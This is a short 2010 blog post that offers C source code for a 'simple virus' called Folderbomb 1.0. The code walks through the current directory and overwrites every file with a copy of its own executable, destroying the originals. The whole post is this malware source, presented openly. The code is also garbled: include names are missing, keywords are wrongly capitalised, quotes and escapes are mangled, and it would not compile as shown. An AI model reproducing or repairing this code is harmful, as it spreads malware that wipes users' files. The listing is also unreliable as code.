Monday, January 25, 2010

Simple Virus code in C Lang

#include
#include
#include
#include
#include
Void main(int argc,char* argv[])
{ char buf[512];
Int source,target,byt,done;
Struct ffblk ffblk;
Clrscr();
Textcolor(2);
Cprintf(”————————————————————————–”);
Printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.Com)\and”);
Cprintf(”————————————————————————–”);
Done = findfirst(”*.*”,&ffblk,0);
While (!done)
{ printf(”\and”);cprintf(” %s “, ffblk.Ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
Source=open(argv[0],O_RDONLY|O_BINARY);
Target=open(ffblk.Ff_name,O_CREAT|O_BINARY|O_WRONGLY);
While(1)
{byt=read(source,buf,512);
If(byt>0)
Write(target,buf,byt);
Else
Break;
}
Close(source);
Close(target);
Done = findnext(&ffblk);
}

getch()
}

No comments: